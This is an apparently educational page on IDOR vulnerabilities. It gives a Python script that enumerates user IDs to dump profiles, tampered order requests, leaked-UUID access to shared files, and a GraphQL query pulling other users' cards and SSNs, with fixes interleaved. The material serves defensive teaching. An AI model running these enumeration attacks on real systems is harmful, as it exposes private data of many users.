IDOR Vulnerability Testing
One Changed Number. Complete Data Breach.

# The Attack: Enumerate every user's data in under a minute
# Your API returns user data at /api/users/{id}

import requests

# Attacker's session cookie (they logged in legitimately as user 5000)
cookies = {"session": "attacker_session_token"}

# Now they enumerate every other user in the system
for user_id in range(1, 10000):
    response = requests.get(
        f"https://your-app.com/api/users/{user_id}",
        cookies=cookies
    )
    
    if response.status_code == 200:
        user_data = response.json()
        # Email, phone, address, personal info... all exposed
        print(f"Dumped user {user_id}: {user_data['email']}")
        save_to_file(user_data)

# Result: 10,000 users' complete profiles in 5 minutes

// Original request when user views their own order:
POST /api/orders/details
Content-Type: application/json
{
  "order_id": "ORD-7892",
  "user_id": 1234  // <-- This hidden field is the vulnerability
}

// Attacker's modified request:
POST /api/orders/details
Content-Type: application/json
{
  "order_id": "ORD-7892", 
  "user_id": 1235  // Changed to another user's ID
}

// Server response: Returns user 1235's order details
// including shipping address, items purchased, and payment info

// The Fix: NEVER trust user-supplied identifiers
// Get user_id from the authenticated session, not the request

// Many developers think UUIDs solve IDOR:
// "No one can guess a550e8400-e29b-41d4-a716-446655440000!"

// But UUIDs leak everywhere:
// 1. In URLs shared via email or chat
// 2. In error messages and logs
// 3. In API responses listing multiple resources
// 4. In HTML source code and JavaScript bundles
// 5. In browser history and referrer headers

// Real attack vector:
GET /api/projects
// Response includes all project UUIDs the user has access to

{
  "projects": [
    {"id": "a550e8400-...", "name": "My Project"},
    {"id": "b660f9500-...", "name": "Shared Project"}  // Leaked UUID!
  ]
}

// Attacker now requests each leaked UUID:
GET /api/projects/b660f9500-.../files
// No authorization check = full access to shared project files

// The Fix: ALWAYS validate resource ownership
// Even with UUIDs. Check: does THIS user have access to THIS resource?

# Normal user query:
query {
  me {
    id
    orders { id, total }
  }
}

# Attacker's modified query (insecure direct object reference):
query {
  user(id: "1235") {  # <-- Directly querying another user
    email
    phone
    creditCards { last4, expiry }
    orders {
      shippingAddress
      items { name, price }
    }
    # Can traverse any relationship in your schema
    company {
      employees { ssn, salary }
    }
  }
}

# If your resolver doesn't check authorization for EVERY field:
# Attacker gets complete access to the entire user object
# and all connected entities through relationships